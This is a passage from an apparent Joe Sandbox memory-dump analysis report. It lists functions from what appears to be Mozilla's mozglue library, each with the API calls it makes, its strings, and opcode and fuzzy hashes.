Part of subcall function 6C8FD130: InitializeConditionVariable.KERNEL32(00000098,?,6C8FCDBA,00100000,?,00000000,?,6C8EDA31,00100000,?,?,00000000,?), ref: 6C8FD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C8EDA31,00100000,?,?,00000000,?), ref: 6C8FCDC4

Part of subcall function 6C8F7480: ReleaseSRWLockExclusive.KERNEL32(?,6C9015FC,?,?,?,?,6C9015FC,?), ref: 6C8F74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C8EDA31,00100000,?,?,00000000,?), ref: 6C8FCECC

Part of subcall function 6C8BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C8BCAA2

Part of subcall function 6C8ECB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C8FCEEA,?,?,?,?,00000000,?,6C8EDA31,00100000,?,?,00000000), ref: 6C8ECB57
Part of subcall function 6C8ECB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C8ECBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C8FCEEA,?,?), ref: 6C8ECBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C8EDA31,00100000,?,?,00000000,?), ref: 6C8FD058

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 21789a33e9296c5ecdede587920719c17ed0c5d73d9c340977b0906053d23161
Instruction ID: 776e475603e189ecb158672eea50bb70778d553782e18ad360eda12aeed4e92c
Opcode Fuzzy Hash: 21789a33e9296c5ecdede587920719c17ed0c5d73d9c340977b0906053d23161
Instruction Fuzzy Hash: 0DD1A071A04B069FD718CF28C580799F7E1FF89348F01862DD96987712EB71E966CB81

Function 6C8B1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C8B17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C8B18EE
free.MOZGLUE(?), ref: 6C8B1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8B194C

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 3fdd80e421c8da5c2e731f3bf2aa66a0c76cd8d81407e6e4963dabbca982606f
Instruction ID: 1b47ee13b9d1f840d2d972235d73fe19f138fe6d008cdcdd1871bd1f01034c7e
Opcode Fuzzy Hash: 3fdd80e421c8da5c2e731f3bf2aa66a0c76cd8d81407e6e4963dabbca982606f
Instruction Fuzzy Hash: A881E170A143159FCB28CF68D9D49AEBBB1FF89310F04492CE811AB754DB30E955CBA1

Function 6C8C5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C8C5D40
EnterCriticalSection.KERNEL32(6C92F688), ref: 6C8C5D67
__aulldiv.LIBCMT ref: 6C8C5DB4
LeaveCriticalSection.KERNEL32(6C92F688), ref: 6C8C5DED

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: f6b030854940d245f1e0a1e79242c1e8af5d1aa4008128de1611c51ea318aa37
Instruction ID: b0a634023483d1cda693a50a7765a46aa396ea394d5c781537f76377bb4dc707
Opcode Fuzzy Hash: f6b030854940d245f1e0a1e79242c1e8af5d1aa4008128de1611c51ea318aa37
Instruction Fuzzy Hash: 1B518271F142298FCF18CFA8C954ABEBBB1FB85308F294A29C951A7750C734A945CBD1

Function 6C907170 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C907250
EnterCriticalSection.KERNEL32(6C92F688), ref: 6C907277
__aulldiv.LIBCMT ref: 6C9072C4
LeaveCriticalSection.KERNEL32(6C92F688), ref: 6C9072F7

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: bea76089d2b674c9f96f9205a89a47a64edf01c9533c4e5a40361395364c4ccf
Instruction ID: f6ff4a348fa15398856d2e2e758aaf40631d27c09e0984566d4480388eb14512
Opcode Fuzzy Hash: bea76089d2b674c9f96f9205a89a47a64edf01c9533c4e5a40361395364c4ccf
Instruction Fuzzy Hash: 0E513A71F141298FCF08CFA8C990AAEB7B1FB89318F25862DD855A7750C734A945CBD0

Function 6C8ACDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8ACEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C8ACEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C8ACF4E

Strings

0, xrefs: 6C8ACF30

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: d01b7a5639459cc3756005ec8b2b283faaa1da49b2b99c1db976f7c3d21a5d44
Instruction ID: bb2a577096034eca7a3c0761548d08304a3f00a2971660b24f0190afdde72165
Opcode Fuzzy Hash: d01b7a5639459cc3756005ec8b2b283faaa1da49b2b99c1db976f7c3d21a5d44
Instruction Fuzzy Hash: AC512271A0425A8FCB10CF18C890AAAFBB5EF99300F19859DD8595F752D772ED06CBE0

Function 6C8EE390 Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8EE3E4
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EE3F1
memset.VCRUNTIME140(?,00000000,?), ref: 6C8EE4AB

Part of subcall function 6C8B5D40: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,?,?,?,6C8ED2DA,00000001), ref: 6C8B5D66

ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EE4F5
GetCurrentThreadId.KERNEL32 ref: 6C8EE577
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EE584
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EE5DE
memset.VCRUNTIME140(?,00000000,00000000), ref: 6C8EE6DA
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C8EE864
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8EE883
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C8EE8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C8EE5A1, 6C8EE5CC, 6C8EE5FF, 6C8EE62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C8EE722, 6C8EE750, 6C8EE7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C8EE826, 6C8EE850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C8EE777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C8EE655

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreememset$Xbad_function_call@std@@malloc
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 905598890-53385798
Opcode ID: 45b6b866b3193eb5d022878d5db18c6b3f909b9d61fb872bb52b59f1d43b6c46
Instruction ID: bcbef7733cbb7d8a921454c59862e3e410d3a308d8b2b0388c51d3692e661d8d
Opcode Fuzzy Hash: 45b6b866b3193eb5d022878d5db18c6b3f909b9d61fb872bb52b59f1d43b6c46
Instruction Fuzzy Hash: 7641AE70A00A1ADFCB24CF28C594BAAB7B1FF4A308F10496DD8565BB41D774E955CBD0

Function 6C9077D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9077FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C907829

Part of subcall function 6C8DCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C8A31A7), ref: 6C8DCC45
Part of subcall function 6C8DCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C8A31A7), ref: 6C8DCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C90789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9078CF

Part of subcall function 6C8A4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C8A4E5A
Part of subcall function 6C8A4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C8A4E97

Part of subcall function 6C8A4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C8E3EBD,6C8E3EBD,00000000), ref: 6C8A42A9

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: d6a842e36a474ca2f32b7336af53d2e95f49d9a8a892b23bbbe8010218b9972f
Instruction ID: 321df0dc1896c257f83cdc848dd77c2e95794054d250e82f6735bd3dd4c3ebae
Opcode Fuzzy Hash: d6a842e36a474ca2f32b7336af53d2e95f49d9a8a892b23bbbe8010218b9972f
Instruction Fuzzy Hash: 3541A171A087469FD310DF29C48056BFBF4FFCA264F204A2DE4A987640DB70E55ACB92

Function 6C8FDAE0 Relevance: 6.1, APIs: 4, Instructions: 113COMMON

Download Yara Rule

APIs

??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C8FDB86
??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C8FDC0E
free.MOZGLUE(?), ref: 6C8FDC2E
free.MOZGLUE(?), ref: 6C8FDC40

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Impl@detail@mozilla@@Mutexfree
String ID:
API String ID: 3186548839-0
Opcode ID: 375cd7c70a1795f5b45e634560d79032900fcf5cf924f6dcb3846d2b07603205
Instruction ID: 101c64a0cb31aeb9d65d15d2c1aa5fc94b0e848cfbc4d83c42d5c0386a5a6008
Opcode Fuzzy Hash: 375cd7c70a1795f5b45e634560d79032900fcf5cf924f6dcb3846d2b07603205
Instruction Fuzzy Hash: 93418A756047009FC720CF38C188A9ABBF6BFC8354F55882EE9AA87740EB35E845CB51

Function 6C8E6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C8E82BC,?,?), ref: 6C8E649B

Part of subcall function 6C8BCA10: malloc.MOZGLUE(?), ref: 6C8BCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8E64A9

Part of subcall function 6C8DFA80: GetCurrentThreadId.KERNEL32 ref: 6C8DFA8D
Part of subcall function 6C8DFA80: AcquireSRWLockExclusive.KERNEL32(6C92F448), ref: 6C8DFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8E653F
free.MOZGLUE(?), ref: 6C8E655A

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 9ccdc16b308afd3e3a040a23943deeabc615b050cc863f4fa1639797134c2076
Instruction ID: a87ccc3dd5843c2d161b104411b23e48662ff607fd967fb4095d8b271b08b992
Opcode Fuzzy Hash: 9ccdc16b308afd3e3a040a23943deeabc615b050cc863f4fa1639797134c2076
Instruction Fuzzy Hash: D83190B5A083159FC700CF24D980A9EBBF4FF89314F11482EE89A97741DB34E919CB92

Function 6C8FA2B0 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C8FA315
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?), ref: 6C8FA31F
free.MOZGLUE(00000000,?,?,?,?), ref: 6C8FA36A

Part of subcall function 6C8C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C8C5EDB
Part of subcall function 6C8C5E90: memset.VCRUNTIME140(6C907765,000000E5,55CCCCCC), ref: 6C8C5F27
Part of subcall function 6C8C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C8C5FB2

Part of subcall function 6C8F2140: free.MOZGLUE(?,00000060,?,6C8F7D36,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8F215D

free.MOZGLUE(00000000), ref: 6C8FA37C

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveXbad_function_call@std@@memset
String ID:
API String ID: 700533648-0
Opcode ID: 04f223e5d7d2a2b5fb01af73dc5e3730bef14abc3d9e342a9c9e05bdde28ba3f
Instruction ID: 26840633f364d7977c4f60f11c91dc5e12b2cdfb7d72a28dd8e7fee1b54e4826
Opcode Fuzzy Hash: 04f223e5d7d2a2b5fb01af73dc5e3730bef14abc3d9e342a9c9e05bdde28ba3f
Instruction Fuzzy Hash: 57210771B002249BCB218F09C640BDEB7A8EF863A8F154425DD195B700D776FD07C6D2

Function 6C8DFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C8FD019,?,?,?,?,?,00000000,?,6C8EDA31,00100000,?), ref: 6C8DFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C8FD019,?,?,?,?,?,00000000,?,6C8EDA31,00100000,?,?), ref: 6C8DFFF5
free.MOZGLUE(?,?,?,?,?,6C8FD019,?,?,?,?,?,00000000,?,6C8EDA31,00100000,?), ref: 6C8E001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C8FD019,?,?,?,?,?,00000000,?,6C8EDA31,00100000,?,?), ref: 6C8E002A

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 33b033e876f47a6945763a16f4b36a94b2784969766c869445d4e2f85959927b
Instruction ID: 16fe80831085bd1dd37911d817783a787f37850071aebd9cba3669208f698b5a
Opcode Fuzzy Hash: 33b033e876f47a6945763a16f4b36a94b2784969766c869445d4e2f85959927b
Instruction Fuzzy Hash: 4621D6B2A002155BC7289E7C9DD48AFB7BAFBD93247250B38E425D7780EB70AD0187D1

Function 6C8F1B80 Relevance: 6.1, APIs: 4, Instructions: 77threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8F1B98
AcquireSRWLockExclusive.KERNEL32(?,?,6C8F1D96,00000000), ref: 6C8F1BA1
ReleaseSRWLockExclusive.KERNEL32(?,?,6C8F1D96,00000000), ref: 6C8F1BB5
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8F1C25

Part of subcall function 6C8F1C60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,6C8F759E,?,?), ref: 6C8F1CB4

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free
String ID:
API String ID: 3699359333-0
Opcode ID: 97926c6597d67306e6472608b28985b58325a101638f89f304e85c07edcf84bc
Instruction ID: 39cb739184aaddcb6772282665267492dda2e080fb5694191aa33a978a566a9e
Opcode Fuzzy Hash: 97926c6597d67306e6472608b28985b58325a101638f89f304e85c07edcf84bc
Instruction Fuzzy Hash: 562103B0A04208DBDB249F29C5947AFBBB4AF42788F110C2DD926A7740D779E80BC7D0

Function 6C907B10 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C907B51
__aulldiv.LIBCMT ref: 6C907B6C
__aulldiv.LIBCMT ref: 6C907B8B
__aulldiv.LIBCMT ref: 6C907BB1

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: d00a51c4c5f930f9caa17efa13413b4b30e460f116377f5c22957434e894d04c
Instruction ID: 6053b93de2064b77999f097fbb3099d0fe86843d97af80b50c9fc07981da5ac8
Opcode Fuzzy Hash: d00a51c4c5f930f9caa17efa13413b4b30e460f116377f5c22957434e894d04c
Instruction Fuzzy Hash: 97215EB1B0060A6FD724DF6DCC81EA7B7F8EB85714B11893DE01ADB741E674E8048BA0

Function 6C907930 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C8BBF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C907A3F), ref: 6C8BBF11
Part of subcall function 6C8BBF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C907A3F), ref: 6C8BBF5D
Part of subcall function 6C8BBF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C907A3F), ref: 6C8BBF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000012,00000000), ref: 6C907968
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_J@Z.MSVCP140(6C90A264,6C90A264), ref: 6C90799A

Part of subcall function 6C8B9830: free.MOZGLUE(?,?,?,6C907ABE), ref: 6C8B985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6C9079E0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6C9079E8

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID:
API String ID: 3421697164-0
Opcode ID: e2767767329f08ec67af193710dc80e9c92aede7079eb0bb473a5e17838ef2fc
Instruction ID: 75457daa848091c1acd1b9d28455ebe16480e0e77a97a1cd345ebc0d76d6af58
Opcode Fuzzy Hash: e2767767329f08ec67af193710dc80e9c92aede7079eb0bb473a5e17838ef2fc
Instruction Fuzzy Hash: 65215E757083049FCB14DF18D889A9EBBF5EF89314F54882DE88A97751CB34E909CB92

Function 6C907A10 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C8BBF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C907A3F), ref: 6C8BBF11
Part of subcall function 6C8BBF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C907A3F), ref: 6C8BBF5D
Part of subcall function 6C8BBF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C907A3F), ref: 6C8BBF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000013,00000000), ref: 6C907A48
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_K@Z.MSVCP140(?,?), ref: 6C907A7A

Part of subcall function 6C8B9830: free.MOZGLUE(?,?,?,6C907ABE), ref: 6C8B985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6C907AC0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6C907AC8

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

